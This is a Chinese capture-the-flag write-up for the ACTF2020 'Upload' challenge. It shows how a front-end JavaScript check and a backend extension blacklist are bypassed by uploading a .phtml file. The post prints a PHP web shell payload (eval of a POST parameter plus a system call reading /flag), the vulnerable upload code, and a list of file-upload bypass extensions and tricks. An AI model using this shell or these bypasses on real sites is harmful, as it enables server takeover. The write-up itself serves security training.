zoukankan      html  css  js  c++  java
  • [BUUOJ记录] [ACTF2020 新生赛]Upload

    简单的上传题,考察绕过前端Js验证,phtml拓展名的应用

    打开题目点亮小灯泡后可以看到一个上传点

    传一个php测试一下:

     发现有文件拓展名检查,F12发现是Js前端验证:

     审查元素直接删掉,继续上传PHP文件测试:

     发现还是被过滤了,应该是后端还有一次验证,换成phtml文件测试,phtml文件代码如下:

    GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
    <script language='php'>@eval($_POST['ye']);</script>
    <script language='php'>system('cat /flag');</script>

    再次上传:

    上传成功,获得Flag

    做完之后还在想是不是也可以通过其他拓展名来绕过,Shell连上之后看了下源代码和.htaccess文件发现这道题就是考察phtml的

    上传点的源码如下:

    <?php
        error_reporting(0);
        //设置上传目录
        define("UPLOAD_PATH", "./uplo4d");
        $msg = "Upload Success!";
        if (isset($_POST['submit'])) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $file_name = $_FILES['upload_file']['name'];
            $ext = pathinfo($file_name,PATHINFO_EXTENSION);
            if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {   //这里不出所料,过滤了常见的php文件拓展名
                exit('nonono~ Bad file!');
            }
    
            $new_file_name = md5($file_name).".".$ext;
            $img_path = UPLOAD_PATH . '/' . $new_file_name;
    
    
            if (move_uploaded_file($temp_file, $img_path)){
                $is_upload = true;
            } else {
                $msg = 'Upload Failed!';
            }
            echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
        }
    
    
    ?>

    再看看.htaccess文件:

    <FilesMatch .phtml$>
        SetHandler application/x-httpd-php
    </FilesMatch>

    最后总结一下CTF文件上传题中常用的php拓展名:

    • 利用中间件解析漏洞绕过检查,实战常用
    • 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
    • %00截断绕过
    • php3文件
    • php4文件
    • php5文件
    • php7文件
    • phtml文件
    • phps文件
    • pht文件

    晚点写一篇文件上传漏洞的总结吧,就这样,啥也不是。

  • 相关阅读:
    随机数表示方法
    何时用重定向何时用转发
    http中重定向和请求转发
    Java正则表达式
    自定义圆形的ProgressBar
    Android内存管理机制
    Android 安全机制
    8位颜色值的含义
    Shape使用
    Bitmap(三)
  • 原文地址:https://www.cnblogs.com/yesec/p/12403922.html
Copyright © 2011-2022 走看看